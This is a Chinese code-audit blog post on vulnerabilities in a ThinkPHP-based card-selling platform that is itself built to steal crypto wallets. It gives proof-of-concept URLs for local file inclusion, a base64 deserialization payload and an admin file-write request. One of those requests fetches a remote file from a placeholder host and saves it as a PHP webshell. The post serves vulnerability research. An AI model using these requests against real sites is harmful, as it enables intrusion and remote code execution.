请遵守法律法规,合法冲浪
本文仅作知识分享用
一切直接或间接由于本文所造成的后果与本人无关
系统简介
2024最新UI发卡盗U/支持多语言/更新UI界面/支持多个主流钱包。由ThinkPHP5.0.24(fastadmin)开发。
开发语言:PHP
开发框架:ThinkPHP5.0.24(fastadmin)
后台地址:caishenjiadao.php或admin.php
代码分析
代码执行-鸡肋版
传入参数“func”作为方法名,后面方法执行,鸡肋的是方法不能传参数,也就导致了这个鸡肋的代码执行。
构造路由访问,代码执行效果如下:
本地PHP文件包含
此漏洞为CNVD-2022-86535,即ThinkPHP多语言本地PHP文件包含。直接演示效果:
反序列化
在查看订单内容功能中,参数“search_content”存在反序列化操作,配合ThinkPHP5.0.24反序列化可RCE,我这里没有环境,就加一个“__construct”方法进行测试了。
构造一个简单的链子进行复现。
然后需要将序列化字串进行base64编码,得到最终的POC。
最后构造路由,反序列化成功:
源码中还有多处反序列化的点,这里就不多做赘述。
后台任意文件写入
这里和我前面一篇文章有一个漏洞一样,参考[代码审计] 某全新快递平台系统
在该函数中,“url”、“dir”、“filename”三个参数均可控,当参数“url”不为空时函数向下执行,参数“dir”可以不用传值,参数“filename”控制最终保存文件的文件名。
当函数运行到“ob_start();”时,意思是开启缓存捕捉,然后函数通过“readfile($url);”读取本地或远程的文件,并且文件内容保存在了缓存中。
当函数成功读取本地或远程的文件后,文件内容通过“$img = ob_get_contents();”传递给了变量“$img”,最后通过“$fp2 = fopen($filename, “a”);”和“fwrite($fp2, $img);”将文件内容保存到了名为“$filename”的文件中。
构造好路由,直接演示效果:
1.将远程文件下载至本地。
2.访问“123.php”,文件写入成功。
如果目标不出网,可以先上传一个图片马,再利用后台任意文件写入将图片马重写成php文件,这里就不再演示,详细可以看[代码审计] 某全新快递平台系统
漏洞总结
代码执行-鸡肋版
1.“phpinfo”可替换为其他方法名
/module/phpinfo
本地PHP文件包含
/?lang=../../../../../../www/wwwroot/web/public/lfi_test
反序列化
1.“Tzo1OiJPcmRlciI6MDp7fQ==”为base64编码
/ordercontent/123
search_content=Tzo1OiJPcmRlciI6MDp7fQ==
后台任意文件写入
1.本地
/admin/plugin/download_file?url=../application/database.php&dir=&filename=test.txt
2.远程
/admin/plugin/download_file?url=http://xxx.xxx.xxx/123.txt&dir=&filename=123.php
原文始发于微信公众号(不够安全):[代码审计] 某盗U/发卡系统 不知道是几day